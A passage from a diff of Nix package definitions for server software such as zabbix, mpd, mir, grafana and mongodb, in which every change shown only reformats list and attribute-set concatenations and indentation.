       printf "Flashing Klipper firmware to your board is not supported yet.\n"
diff --git a/pkgs/servers/mail/mailman/hyperkitty.nix b/pkgs/servers/mail/mailman/hyperkitty.nix
index be9dbbcf2d1b..ccf2f014b196 100644
--- a/pkgs/servers/mail/mailman/hyperkitty.nix
+++ b/pkgs/servers/mail/mailman/hyperkitty.nix
@@ -60,7 +60,8 @@ buildPythonPackage rec {
     elasticsearch
     mock
     whoosh
-  ] ++ beautifulsoup4.optional-dependencies.lxml;
+  ]
+  ++ beautifulsoup4.optional-dependencies.lxml;
 
   checkPhase = ''
     cd $NIX_BUILD_TOP/$sourceRoot
diff --git a/pkgs/servers/mail/mailman/postorius.nix b/pkgs/servers/mail/mailman/postorius.nix
index 086a2e97e7f4..bffc0bceb91a 100644
--- a/pkgs/servers/mail/mailman/postorius.nix
+++ b/pkgs/servers/mail/mailman/postorius.nix
@@ -19,7 +19,8 @@ buildPythonPackage rec {
   propagatedBuildInputs = [
     django-mailman3
     readme-renderer
-  ] ++ readme-renderer.optional-dependencies.md;
+  ]
+  ++ readme-renderer.optional-dependencies.md;
   nativeCheckInputs = [
     beautifulsoup4
     vcrpy
diff --git a/pkgs/servers/mail/nullmailer/default.nix b/pkgs/servers/mail/nullmailer/default.nix
index d91d8f4cb930..6276035dc3e0 100644
--- a/pkgs/servers/mail/nullmailer/default.nix
+++ b/pkgs/servers/mail/nullmailer/default.nix
@@ -23,7 +23,8 @@ stdenv.mkDerivation rec {
   configureFlags = [
     "--sysconfdir=/etc"
     "--localstatedir=/var"
-  ] ++ lib.optional tls "--enable-tls";
+  ]
+  ++ lib.optional tls "--enable-tls";
 
   installFlags = [ "DESTDIR=$(out)" ];
 
diff --git a/pkgs/servers/mail/public-inbox/default.nix b/pkgs/servers/mail/public-inbox/default.nix
index 90d699a24ffb..32effee18f62 100644
--- a/pkgs/servers/mail/public-inbox/default.nix
+++ b/pkgs/servers/mail/public-inbox/default.nix
@@ -136,22 +136,21 @@ buildPerlPackage rec {
   ];
 
   doCheck = !stdenv.hostPlatform.isDarwin;
-  nativeCheckInputs =
-    [
-      curl
-      git
-      openssl
-      pkg-config
-      sqlite
-      xapian
-      EmailMIME
-      PlackTestExternalServer
-      TestSimple13
-      XMLTreePP
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      LinuxInotify2
-    ];
+  nativeCheckInputs = [
+    curl
+    git
+    openssl
+    pkg-config
+    sqlite
+    xapian
+    EmailMIME
+    PlackTestExternalServer
+    TestSimple13
+    XMLTreePP
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    LinuxInotify2
+  ];
   preCheck = ''
     perl certs/create-certs.perl
     export TEST_LEI_ERR_LOUD=1
diff --git a/pkgs/servers/mir/common.nix b/pkgs/servers/mir/common.nix
index ccc1150db5b7..cf4e5a004dcc 100644
--- a/pkgs/servers/mir/common.nix
+++ b/pkgs/servers/mir/common.nix
@@ -59,31 +59,30 @@ stdenv.mkDerivation (finalAttrs: {
 
   inherit patches;
 
-  postPatch =
-    ''
-      # Fix scripts that get run in tests
-      patchShebangs tools/detect_fd_leaks.bash tests/acceptance-tests/wayland-generator/test_wayland_generator.sh.in
+  postPatch = ''
+    # Fix scripts that get run in tests
+    patchShebangs tools/detect_fd_leaks.bash tests/acceptance-tests/wayland-generator/test_wayland_generator.sh.in
 
-      # Fix LD_PRELOADing in tests
-      substituteInPlace \
-        cmake/MirCommon.cmake \
-        tests/umock-acceptance-tests/CMakeLists.txt \
-        tests/unit-tests/platforms/gbm-kms/kms/CMakeLists.txt \
-        tests/unit-tests/CMakeLists.txt \
-        --replace-warn 'LD_PRELOAD=liblttng-ust-fork.so' 'LD_PRELOAD=${lib.getLib lttng-ust}/lib/liblttng-ust-fork.so' \
-        --replace-warn 'LD_PRELOAD=libumockdev-preload.so.0' 'LD_PRELOAD=${lib.getLib umockdev}/lib/libumockdev-preload.so.0'
+    # Fix LD_PRELOADing in tests
+    substituteInPlace \
+      cmake/MirCommon.cmake \
+      tests/umock-acceptance-tests/CMakeLists.txt \
+      tests/unit-tests/platforms/gbm-kms/kms/CMakeLists.txt \
+      tests/unit-tests/CMakeLists.txt \
+      --replace-warn 'LD_PRELOAD=liblttng-ust-fork.so' 'LD_PRELOAD=${lib.getLib lttng-ust}/lib/liblttng-ust-fork.so' \
+      --replace-warn 'LD_PRELOAD=libumockdev-preload.so.0' 'LD_PRELOAD=${lib.getLib umockdev}/lib/libumockdev-preload.so.0'
 
-      # Fix Xwayland default
-      substituteInPlace src/miral/x11_support.cpp \
-        --replace-fail '/usr/bin/Xwayland' '${lib.getExe xwayland}'
-    ''
-    + lib.optionalString (lib.strings.versionOlder version "2.18.0") ''
+    # Fix Xwayland default
+    substituteInPlace src/miral/x11_support.cpp \
+      --replace-fail '/usr/bin/Xwayland' '${lib.getExe xwayland}'
+  ''
+  + lib.optionalString (lib.strings.versionOlder version "2.18.0") ''
 
-      # Fix paths for generating drm-formats
-      substituteInPlace src/platform/graphics/CMakeLists.txt \
-        --replace-fail "/usr/include/drm/drm_fourcc.h" "${lib.getDev libdrm}/include/libdrm/drm_fourcc.h" \
-        --replace-fail "/usr/include/libdrm/drm_fourcc.h" "${lib.getDev libdrm}/include/libdrm/drm_fourcc.h"
-    '';
+    # Fix paths for generating drm-formats
+    substituteInPlace src/platform/graphics/CMakeLists.txt \
+      --replace-fail "/usr/include/drm/drm_fourcc.h" "${lib.getDev libdrm}/include/libdrm/drm_fourcc.h" \
+      --replace-fail "/usr/include/libdrm/drm_fourcc.h" "${lib.getDev libdrm}/include/libdrm/drm_fourcc.h"
+  '';
 
   strictDeps = true;
 
@@ -130,7 +129,8 @@ stdenv.mkDerivation (finalAttrs: {
     xorg.libXcursor
     xorg.xorgproto
     xwayland
-  ] ++ lib.optionals (lib.strings.versionAtLeast version "2.18.0") [ libapparmor ];
+  ]
+  ++ lib.optionals (lib.strings.versionAtLeast version "2.18.0") [ libapparmor ];
 
   nativeCheckInputs = [
     dbus
@@ -191,7 +191,8 @@ stdenv.mkDerivation (finalAttrs: {
   passthru = {
     tests = {
       pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage;
-    } // lib.optionalAttrs (!pinned) { inherit (nixosTests) miriway miracle-wm; };
+    }
+    // lib.optionalAttrs (!pinned) { inherit (nixosTests) miriway miracle-wm; };
     providedSessions = lib.optionals (lib.strings.versionOlder version "2.16.0") [
       # More of an example than a fully functioning shell, some notes for the adventurous:
       # - ~/.config/miral-shell.config is one possible user config location,
@@ -202,7 +203,8 @@ stdenv.mkDerivation (finalAttrs: {
       #   does not know about preferred terminal
       "mir-shell"
     ];
-  } // lib.optionalAttrs (!pinned) { updateScript = ./update.sh; };
+  }
+  // lib.optionalAttrs (!pinned) { updateScript = ./update.sh; };
 
   meta = {
     description = "Display server and Wayland compositor developed by Canonical";
@@ -214,23 +216,22 @@ stdenv.mkDerivation (finalAttrs: {
       OPNA2608
     ];
     platforms = lib.platforms.linux;
-    pkgConfigModules =
-      [
-        "miral"
-        "mircommon"
-        "mircore"
-        "miroil"
-        "mirplatform"
-        "mir-renderer-gl-dev"
-        "mirrenderer"
-        "mirserver"
-        "mirtest"
-        "mirwayland"
-      ]
-      ++ lib.optionals (lib.strings.versionOlder version "2.17.0") [ "mircookie" ]
-      ++ lib.optionals (lib.strings.versionAtLeast version "2.17.0") [
-        "mircommon-internal"
-        "mirserver-internal"
-      ];
+    pkgConfigModules = [
+      "miral"
+      "mircommon"
+      "mircore"
+      "miroil"
+      "mirplatform"
+      "mir-renderer-gl-dev"
+      "mirrenderer"
+      "mirserver"
+      "mirtest"
+      "mirwayland"
+    ]
+    ++ lib.optionals (lib.strings.versionOlder version "2.17.0") [ "mircookie" ]
+    ++ lib.optionals (lib.strings.versionAtLeast version "2.17.0") [
+      "mircommon-internal"
+      "mirserver-internal"
+    ];
   };
 })
diff --git a/pkgs/servers/monitoring/grafana/default.nix b/pkgs/servers/monitoring/grafana/default.nix
index 0420de60e86f..978b8a340482 100644
--- a/pkgs/servers/monitoring/grafana/default.nix
+++ b/pkgs/servers/monitoring/grafana/default.nix
@@ -87,7 +87,8 @@ buildGoModule rec {
     faketty
     yarn-berry_4
     yarn-berry_4.yarnBerryConfigHook
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcbuild.xcbuild ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ xcbuild.xcbuild ];
 
   # We have to remove this setupHook, otherwise it also runs in the `goModules`
   # derivation and fails because `offlineCache` is missing there.
diff --git a/pkgs/servers/monitoring/grafana/plugins/grafana-plugin.nix b/pkgs/servers/monitoring/grafana/plugins/grafana-plugin.nix
index e9262c2cac76..9735f5103b24 100644
--- a/pkgs/servers/monitoring/grafana/plugins/grafana-plugin.nix
+++ b/pkgs/servers/monitoring/grafana/plugins/grafana-plugin.nix
@@ -56,11 +56,13 @@ stdenvNoCC.mkDerivation (
         ./update-grafana-plugin.sh
         pname
       ];
-    } // passthru;
+    }
+    // passthru;
 
     meta = {
       homepage = "https://grafana.com/grafana/plugins/${pname}";
-    } // meta;
+    }
+    // meta;
   }
   // (builtins.removeAttrs args [
     "zipHash"
diff --git a/pkgs/servers/monitoring/icinga2/default.nix b/pkgs/servers/monitoring/icinga2/default.nix
index 2c50c42bf9e0..1e27f97ac520 100644
--- a/pkgs/servers/monitoring/icinga2/default.nix
+++ b/pkgs/servers/monitoring/icinga2/default.nix
@@ -85,7 +85,8 @@ stdenv.mkDerivation rec {
     libedit
     openssl
     systemd
-  ] ++ lib.optional withPostgresql libpq;
+  ]
+  ++ lib.optional withPostgresql libpq;
 
   nativeBuildInputs = [
     cmake
diff --git a/pkgs/servers/monitoring/prometheus/xmpp-alerts.nix b/pkgs/servers/monitoring/prometheus/xmpp-alerts.nix
index 3e397eb0cfc8..3875af9c7dcb 100644
--- a/pkgs/servers/monitoring/prometheus/xmpp-alerts.nix
+++ b/pkgs/servers/monitoring/prometheus/xmpp-alerts.nix
@@ -24,19 +24,18 @@ python3Packages.buildPythonApplication rec {
       --replace "bs4" "beautifulsoup4"
   '';
 
-  propagatedBuildInputs =
-    [
-      prometheus-alertmanager
-    ]
-    ++ (with python3Packages; [
-      aiohttp
-      aiohttp-openmetrics
-      beautifulsoup4
-      jinja2
-      slixmpp
-      prometheus-client
-      pyyaml
-    ]);
+  propagatedBuildInputs = [
+    prometheus-alertmanager
+  ]
+  ++ (with python3Packages; [
+    aiohttp
+    aiohttp-openmetrics
+    beautifulsoup4
+    jinja2
+    slixmpp
+    prometheus-client
+    pyyaml
+  ]);
 
   nativeCheckInputs = with python3Packages; [
     setuptools
diff --git a/pkgs/servers/monitoring/zabbix/proxy.nix b/pkgs/servers/monitoring/zabbix/proxy.nix
index 65cc2c024e1a..1ffc6f59ae19 100644
--- a/pkgs/servers/monitoring/zabbix/proxy.nix
+++ b/pkgs/servers/monitoring/zabbix/proxy.nix
@@ -54,40 +54,39 @@ import ./versions.nix (
 
     nativeBuildInputs = [
       pkg-config
-    ] ++ optional postgresqlSupport libpq.pg_config;
-    buildInputs =
-      [
-        curl
-        libevent
-        libiconv
-        openssl
-        pcre
-        zlib
-      ]
-      ++ optional odbcSupport unixODBC
-      ++ optional snmpSupport net-snmp
-      ++ optional sqliteSupport sqlite
-      ++ optional sshSupport libssh2
-      ++ optional mysqlSupport libmysqlclient
-      ++ optional postgresqlSupport libpq;
+    ]
+    ++ optional postgresqlSupport libpq.pg_config;
+    buildInputs = [
+      curl
+      libevent
+      libiconv
+      openssl
+      pcre
+      zlib
+    ]
+    ++ optional odbcSupport unixODBC
+    ++ optional snmpSupport net-snmp
+    ++ optional sqliteSupport sqlite
+    ++ optional sshSupport libssh2
+    ++ optional mysqlSupport libmysqlclient
+    ++ optional postgresqlSupport libpq;
 
-    configureFlags =
-      [
-        "--enable-ipv6"
-        "--enable-proxy"
-        "--with-iconv"
-        "--with-libcurl"
-        "--with-libevent"
-        "--with-libpcre"
-        "--with-openssl=${openssl.dev}"
-        "--with-zlib=${zlib}"
-      ]
-      ++ optional odbcSupport "--with-unixodbc"
-      ++ optional snmpSupport "--with-net-snmp"
-      ++ optional sqliteSupport "--with-sqlite3=${sqlite.dev}"
-      ++ optional sshSupport "--with-ssh2=${libssh2.dev}"
-      ++ optional mysqlSupport "--with-mysql=${fake_mysql_config}"
-      ++ optional postgresqlSupport "--with-postgresql";
+    configureFlags = [
+      "--enable-ipv6"
+      "--enable-proxy"
+      "--with-iconv"
+      "--with-libcurl"
+      "--with-libevent"
+      "--with-libpcre"
+      "--with-openssl=${openssl.dev}"
+      "--with-zlib=${zlib}"
+    ]
+    ++ optional odbcSupport "--with-unixodbc"
+    ++ optional snmpSupport "--with-net-snmp"
+    ++ optional sqliteSupport "--with-sqlite3=${sqlite.dev}"
+    ++ optional sshSupport "--with-ssh2=${libssh2.dev}"
+    ++ optional mysqlSupport "--with-mysql=${fake_mysql_config}"
+    ++ optional postgresqlSupport "--with-postgresql";
 
     prePatch = ''
       find database -name data.sql -exec sed -i 's|/usr/bin/||g' {} +
@@ -98,22 +97,21 @@ import ./versions.nix (
       "RANLIB:=$(RANLIB)"
     ];
 
-    postInstall =
-      ''
-        mkdir -p $out/share/zabbix/database/
-      ''
-      + optionalString sqliteSupport ''
-        mkdir -p $out/share/zabbix/database/sqlite3
-        cp -prvd database/sqlite3/schema.sql $out/share/zabbix/database/sqlite3/
-      ''
-      + optionalString mysqlSupport ''
-        mkdir -p $out/share/zabbix/database/mysql
-        cp -prvd database/mysql/schema.sql $out/share/zabbix/database/mysql/
-      ''
-      + optionalString postgresqlSupport ''
-        mkdir -p $out/share/zabbix/database/postgresql
-        cp -prvd database/postgresql/schema.sql $out/share/zabbix/database/postgresql/
-      '';
+    postInstall = ''
+      mkdir -p $out/share/zabbix/database/
+    ''
+    + optionalString sqliteSupport ''
+      mkdir -p $out/share/zabbix/database/sqlite3
+      cp -prvd database/sqlite3/schema.sql $out/share/zabbix/database/sqlite3/
+    ''
+    + optionalString mysqlSupport ''
+      mkdir -p $out/share/zabbix/database/mysql
+      cp -prvd database/mysql/schema.sql $out/share/zabbix/database/mysql/
+    ''
+    + optionalString postgresqlSupport ''
+      mkdir -p $out/share/zabbix/database/postgresql
+      cp -prvd database/postgresql/schema.sql $out/share/zabbix/database/postgresql/
+    '';
 
     meta = {
       description = "Enterprise-class open source distributed monitoring solution (client-server proxy)";
diff --git a/pkgs/servers/monitoring/zabbix/server.nix b/pkgs/servers/monitoring/zabbix/server.nix
index 54968b0bd4ff..b34fa5677889 100644
--- a/pkgs/servers/monitoring/zabbix/server.nix
+++ b/pkgs/servers/monitoring/zabbix/server.nix
@@ -50,46 +50,45 @@ import ./versions.nix (
     nativeBuildInputs = [
       autoreconfHook
       pkg-config
-    ] ++ optional postgresqlSupport libpq.pg_config;
-    buildInputs =
-      [
-        curl
-        libevent
-        libiconv
-        libxml2
-        openssl
-        pcre
-        zlib
-      ]
-      ++ optional odbcSupport unixODBC
-      ++ optional jabberSupport iksemel
-      ++ optional ldapSupport openldap
-      ++ optional snmpSupport net-snmp
-      ++ optional sshSupport libssh2
-      ++ optional mysqlSupport libmysqlclient
-      ++ optional postgresqlSupport libpq
-      ++ optional ipmiSupport openipmi;
+    ]
+    ++ optional postgresqlSupport libpq.pg_config;
+    buildInputs = [
+      curl
+      libevent
+      libiconv
+      libxml2
+      openssl
+      pcre
+      zlib
+    ]
+    ++ optional odbcSupport unixODBC
+    ++ optional jabberSupport iksemel
+    ++ optional ldapSupport openldap
+    ++ optional snmpSupport net-snmp
+    ++ optional sshSupport libssh2
+    ++ optional mysqlSupport libmysqlclient
+    ++ optional postgresqlSupport libpq
+    ++ optional ipmiSupport openipmi;
 
-    configureFlags =
-      [
-        "--enable-ipv6"
-        "--enable-server"
-        "--with-iconv"
-        "--with-libcurl"
-        "--with-libevent"
-        "--with-libpcre"
-        "--with-libxml2"
-        "--with-openssl=${openssl.dev}"
-        "--with-zlib=${zlib}"
-      ]
-      ++ optional odbcSupport "--with-unixodbc"
-      ++ optional jabberSupport "--with-jabber"
-      ++ optional ldapSupport "--with-ldap=${openldap.dev}"
-      ++ optional snmpSupport "--with-net-snmp"
-      ++ optional sshSupport "--with-ssh2=${libssh2.dev}"
-      ++ optional mysqlSupport "--with-mysql"
-      ++ optional postgresqlSupport "--with-postgresql"
-      ++ optional ipmiSupport "--with-openipmi=${openipmi.dev}";
+    configureFlags = [
+      "--enable-ipv6"
+      "--enable-server"
+      "--with-iconv"
+      "--with-libcurl"
+      "--with-libevent"
+      "--with-libpcre"
+      "--with-libxml2"
+      "--with-openssl=${openssl.dev}"
+      "--with-zlib=${zlib}"
+    ]
+    ++ optional odbcSupport "--with-unixodbc"
+    ++ optional jabberSupport "--with-jabber"
+    ++ optional ldapSupport "--with-ldap=${openldap.dev}"
+    ++ optional snmpSupport "--with-net-snmp"
+    ++ optional sshSupport "--with-ssh2=${libssh2.dev}"
+    ++ optional mysqlSupport "--with-mysql"
+    ++ optional postgresqlSupport "--with-postgresql"
+    ++ optional ipmiSupport "--with-openipmi=${openipmi.dev}";
 
     prePatch = ''
       find database -name data.sql -exec sed -i 's|/usr/bin/||g' {} +
@@ -102,19 +101,18 @@ import ./versions.nix (
       done
     '';
 
-    postInstall =
-      ''
-        mkdir -p $out/share/zabbix/database/
-        cp -r include $out/
-      ''
-      + optionalString mysqlSupport ''
-        mkdir -p $out/share/zabbix/database/mysql
-        cp -prvd database/mysql/*.sql $out/share/zabbix/database/mysql/
-      ''
-      + optionalString postgresqlSupport ''
-        mkdir -p $out/share/zabbix/database/postgresql
-        cp -prvd database/postgresql/*.sql $out/share/zabbix/database/postgresql/
-      '';
+    postInstall = ''
+      mkdir -p $out/share/zabbix/database/
+      cp -r include $out/
+    ''
+    + optionalString mysqlSupport ''
+      mkdir -p $out/share/zabbix/database/mysql
+      cp -prvd database/mysql/*.sql $out/share/zabbix/database/mysql/
+    ''
+    + optionalString postgresqlSupport ''
+      mkdir -p $out/share/zabbix/database/postgresql
+      cp -prvd database/postgresql/*.sql $out/share/zabbix/database/postgresql/
+    '';
 
     meta = {
       description = "Enterprise-class open source distributed monitoring solution";
diff --git a/pkgs/servers/mpd/default.nix b/pkgs/servers/mpd/default.nix
index 1ab72a4c2c48..584dc97d91ef 100644
--- a/pkgs/servers/mpd/default.nix
+++ b/pkgs/servers/mpd/default.nix
@@ -171,8 +171,7 @@ let
         ];
 
       knownFeatures =
-        builtins.attrNames featureDependencies
-        ++ builtins.attrNames nativeFeatureDependencies;
+        builtins.attrNames featureDependencies ++ builtins.attrNames nativeFeatureDependencies;
       platformFeatures = lib.subtractLists platformMask knownFeatures;
 
       features_ =
@@ -214,13 +213,15 @@ let
         #    Run-time dependency GTest found: YES 1.10.0
         gtest
         libupnp
-      ] ++ concatAttrVals features_ featureDependencies;
+      ]
+      ++ concatAttrVals features_ featureDependencies;
 
       nativeBuildInputs = [
         meson
         ninja
         pkg-config
-      ] ++ concatAttrVals features_ nativeFeatureDependencies;
+      ]
+      ++ concatAttrVals features_ nativeFeatureDependencies;
 
       depsBuildBuild = [ buildPackages.stdenv.cc ];
 
@@ -245,23 +246,23 @@ let
       outputs = [
         "out"
         "doc"
-      ] ++ lib.optional (builtins.elem "documentation" features_) "man";
+      ]
+      ++ lib.optional (builtins.elem "documentation" features_) "man";
 
       CXXFLAGS = lib.optionals stdenv.hostPlatform.isDarwin [
         "-D__ASSERT_MACROS_DEFINE_VERSIONS_WITHOUT_UNDERSCORES=0"
       ];
 
-      mesonFlags =
-        [
-          "-Dtest=true"
-          "-Dmanpages=true"
-          "-Dhtml_manual=true"
-        ]
-        ++ map (x: "-D${x}=enabled") features_
-        ++ map (x: "-D${x}=disabled") (lib.subtractLists features_ knownFeatures)
-        ++ lib.optional (builtins.elem "zeroconf" features_) "-Dzeroconf=avahi"
-        ++ lib.optional (builtins.elem "systemd" features_) "-Dsystemd_system_unit_dir=etc/systemd/system"
-        ++ lib.optional (builtins.elem "qobuz" features_) "-Dnlohmann_json=enabled";
+      mesonFlags = [
+        "-Dtest=true"
+        "-Dmanpages=true"
+        "-Dhtml_manual=true"
+      ]
+      ++ map (x: "-D${x}=enabled") features_
+      ++ map (x: "-D${x}=disabled") (lib.subtractLists features_ knownFeatures)
+      ++ lib.optional (builtins.elem "zeroconf" features_) "-Dzeroconf=avahi"
+      ++ lib.optional (builtins.elem "systemd" features_) "-Dsystemd_system_unit_dir=etc/systemd/system"
+      ++ lib.optional (builtins.elem "qobuz" features_) "-Dnlohmann_json=enabled";
 
       passthru.tests.nixos = nixosTests.mpd;
 
@@ -286,42 +287,41 @@ in
 {
   mpd = run { };
   mpd-small = run {
-    features =
-      [
-        "webdav"
-        "curl"
-        "mms"
-        "bzip2"
-        "zzip"
-        "nfs"
-        "audiofile"
-        "faad"
-        "flac"
-        "gme"
-        "mpg123"
-        "opus"
-        "vorbis"
-        "vorbisenc"
-        "lame"
-        "libsamplerate"
-        "shout"
-        "libmpdclient"
-        "id3tag"
-        "expat"
-        "pcre"
-        "sqlite"
-        "qobuz"
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isLinux [
-        "alsa"
-        "systemd"
-        "syslog"
-        "io_uring"
-      ]
-      ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-        "mad"
-        "jack"
-      ];
+    features = [
+      "webdav"
+      "curl"
+      "mms"
+      "bzip2"
+      "zzip"
+      "nfs"
+      "audiofile"
+      "faad"
+      "flac"
+      "gme"
+      "mpg123"
+      "opus"
+      "vorbis"
+      "vorbisenc"
+      "lame"
+      "libsamplerate"
+      "shout"
+      "libmpdclient"
+      "id3tag"
+      "expat"
+      "pcre"
+      "sqlite"
+      "qobuz"
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
+      "alsa"
+      "systemd"
+      "syslog"
+      "io_uring"
+    ]
+    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+      "mad"
+      "jack"
+    ];
   };
   mpdWithFeatures = run;
 }
diff --git a/pkgs/servers/nextcloud/packages/apps/recognize.nix b/pkgs/servers/nextcloud/packages/apps/recognize.nix
index 1e7fb2570fd4..ea9e4ad8415f 100644
--- a/pkgs/servers/nextcloud/packages/apps/recognize.nix
+++ b/pkgs/servers/nextcloud/packages/apps/recognize.nix
@@ -35,39 +35,37 @@ stdenv.mkDerivation rec {
   pname = "nextcloud-app-recognize";
   inherit (currentVersionInfo) version;
 
-  srcs =
-    [
-      (fetchurl {
-        inherit version;
-        url = "https://github.com/nextcloud/recognize/releases/download/v${version}/recognize-${version}.tar.gz";
-        hash = currentVersionInfo.appHash;
-      })
+  srcs = [
+    (fetchurl {
+      inherit version;
+      url = "https://github.com/nextcloud/recognize/releases/download/v${version}/recognize-${version}.tar.gz";
+      hash = currentVersionInfo.appHash;
+    })
 
-      (fetchurl {
-        inherit version;
-        url = "https://github.com/nextcloud/recognize/archive/refs/tags/v${version}.tar.gz";
-        hash = currentVersionInfo.modelHash;
-      })
-    ]
-    ++ lib.optionals useLibTensorflow [
-      (fetchurl rec {
-        # For version see LIBTENSORFLOW_VERSION in https://github.com/tensorflow/tfjs/blob/master/tfjs-node/scripts/deps-constants.js
-        version = "2.9.1";
-        url = "https://storage.googleapis.com/tensorflow/libtensorflow/libtensorflow-cpu-linux-x86_64-${version}.tar.gz";
-        hash = "sha256-f1ENJUbj214QsdEZRjaJAD1YeEKJKtPJW8pRz4KCAXM=";
-      })
-    ];
+    (fetchurl {
+      inherit version;
+      url = "https://github.com/nextcloud/recognize/archive/refs/tags/v${version}.tar.gz";
+      hash = currentVersionInfo.modelHash;
+    })
+  ]
+  ++ lib.optionals useLibTensorflow [
+    (fetchurl rec {
+      # For version see LIBTENSORFLOW_VERSION in https://github.com/tensorflow/tfjs/blob/master/tfjs-node/scripts/deps-constants.js
+      version = "2.9.1";
+      url = "https://storage.googleapis.com/tensorflow/libtensorflow/libtensorflow-cpu-linux-x86_64-${version}.tar.gz";
+      hash = "sha256-f1ENJUbj214QsdEZRjaJAD1YeEKJKtPJW8pRz4KCAXM=";
+    })
+  ];
 
-  unpackPhase =
-    ''
-      # Merge the app and the models from github
-      tar -xzpf "${builtins.elemAt srcs 0}" recognize;
-      tar -xzpf "${builtins.elemAt srcs 1}" -C recognize --strip-components=1 recognize-${version}/models
-    ''
-    + lib.optionalString useLibTensorflow ''
-      # Place the tensorflow lib at the right place for building
-      tar -xzpf "${builtins.elemAt srcs 2}" -C recognize/node_modules/@tensorflow/tfjs-node/deps
-    '';
+  unpackPhase = ''
+    # Merge the app and the models from github
+    tar -xzpf "${builtins.elemAt srcs 0}" recognize;
+    tar -xzpf "${builtins.elemAt srcs 1}" -C recognize --strip-components=1 recognize-${version}/models
+  ''
+  + lib.optionalString useLibTensorflow ''
+    # Place the tensorflow lib at the right place for building
+    tar -xzpf "${builtins.elemAt srcs 2}" -C recognize/node_modules/@tensorflow/tfjs-node/deps
+  '';
 
   postPatch = ''
     # Make it clear we are not reading the node in settings
diff --git a/pkgs/servers/nosql/influxdb/default.nix b/pkgs/servers/nosql/influxdb/default.nix
index a6f053467a5b..82bccba377f1 100644
--- a/pkgs/servers/nosql/influxdb/default.nix
+++ b/pkgs/servers/nosql/influxdb/default.nix
@@ -55,16 +55,15 @@ let
       Libs: -L/out/lib -lflux -lpthread
     '';
     passAsFile = [ "pkgcfg" ];
-    postInstall =
-      ''
-        mkdir -p $out/include $out/pkgconfig
-        cp -r $NIX_BUILD_TOP/source/libflux/include/influxdata $out/include
-        substitute $pkgcfgPath $out/pkgconfig/flux.pc \
-          --replace /out $out
-      ''
-      + lib.optionalString stdenv.hostPlatform.isDarwin ''
-        install_name_tool -id $out/lib/libflux.dylib $out/lib/libflux.dylib
-      '';
+    postInstall = ''
+      mkdir -p $out/include $out/pkgconfig
+      cp -r $NIX_BUILD_TOP/source/libflux/include/influxdata $out/include
+      substitute $pkgcfgPath $out/pkgconfig/flux.pc \
+        --replace /out $out
+    ''
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      install_name_tool -id $out/lib/libflux.dylib $out/lib/libflux.dylib
+    '';
   };
 in
 buildGoModule rec {
diff --git a/pkgs/servers/nosql/influxdb2/default.nix b/pkgs/servers/nosql/influxdb2/default.nix
index c90a77f4af36..8bc1c25edac0 100644
--- a/pkgs/servers/nosql/influxdb2/default.nix
+++ b/pkgs/servers/nosql/influxdb2/default.nix
@@ -71,16 +71,15 @@ let
       Libs: -L/out/lib -lflux -lpthread
     '';
     passAsFile = [ "pkgcfg" ];
-    postInstall =
-      ''
-        mkdir -p $out/include $out/pkgconfig
-        cp -r $NIX_BUILD_TOP/source/libflux/include/influxdata $out/include
-        substitute $pkgcfgPath $out/pkgconfig/flux.pc \
-          --replace /out $out
-      ''
-      + lib.optionalString stdenv.hostPlatform.isDarwin ''
-        install_name_tool -id $out/lib/libflux.dylib $out/lib/libflux.dylib
-      '';
+    postInstall = ''
+      mkdir -p $out/include $out/pkgconfig
+      cp -r $NIX_BUILD_TOP/source/libflux/include/influxdata $out/include
+      substitute $pkgcfgPath $out/pkgconfig/flux.pc \
+        --replace /out $out
+    ''
+    + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      install_name_tool -id $out/lib/libflux.dylib $out/lib/libflux.dylib
+    '';
   };
 in
 buildGoModule {
diff --git a/pkgs/servers/nosql/mongodb/7.0.nix b/pkgs/servers/nosql/mongodb/7.0.nix
index 6e612b008ce8..c4eab452fc88 100644
--- a/pkgs/servers/nosql/mongodb/7.0.nix
+++ b/pkgs/servers/nosql/mongodb/7.0.nix
@@ -34,7 +34,8 @@ buildMongoDB {
 
     # mongodb-7_0's mozjs uses avx2 instructions
     # https://github.com/GermanAizek/mongodb-without-avx/issues/16
-  ] ++ lib.optionals (!avxSupport) [ ./mozjs-noavx.patch ];
+  ]
+  ++ lib.optionals (!avxSupport) [ ./mozjs-noavx.patch ];
 
   passthru.tests = {
     inherit (nixosTests) mongodb;
diff --git a/pkgs/servers/nosql/mongodb/mongodb.nix b/pkgs/servers/nosql/mongodb/mongodb.nix
index 1448fed7faaa..b847dfc278df 100644
--- a/pkgs/servers/nosql/mongodb/mongodb.nix
+++ b/pkgs/servers/nosql/mongodb/mongodb.nix
@@ -47,24 +47,23 @@ let
     ]
   );
 
-  system-libraries =
-    [
-      "boost"
-      "snappy"
-      "yaml"
-      "zlib"
-      #"asio" -- XXX use package?
-      #"stemmer"  -- not nice to package yet (no versioning, no makefile, no shared libs).
-      #"valgrind" -- mongodb only requires valgrind.h, which is vendored in the source.
-      #"wiredtiger"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ "tcmalloc" ]
-    ++ lib.optionals (lib.versionOlder version "7.0") [
-      "pcre"
-    ]
-    ++ lib.optionals (lib.versionAtLeast version "7.0") [
-      "pcre2"
-    ];
+  system-libraries = [
+    "boost"
+    "snappy"
+    "yaml"
+    "zlib"
+    #"asio" -- XXX use package?
+    #"stemmer"  -- not nice to package yet (no versioning, no makefile, no shared libs).
+    #"valgrind" -- mongodb only requires valgrind.h, which is vendored in the source.
+    #"wiredtiger"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ "tcmalloc" ]
+  ++ lib.optionals (lib.versionOlder version "7.0") [
+    "pcre"
+  ]
+  ++ lib.optionals (lib.versionAtLeast version "7.0") [
+    "pcre2"
+  ];
   inherit (lib) systems subtractLists;
 
 in
@@ -82,52 +81,51 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     scons
     python
-  ] ++ lib.optional stdenv.hostPlatform.isLinux net-snmp;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux net-snmp;
 
-  buildInputs =
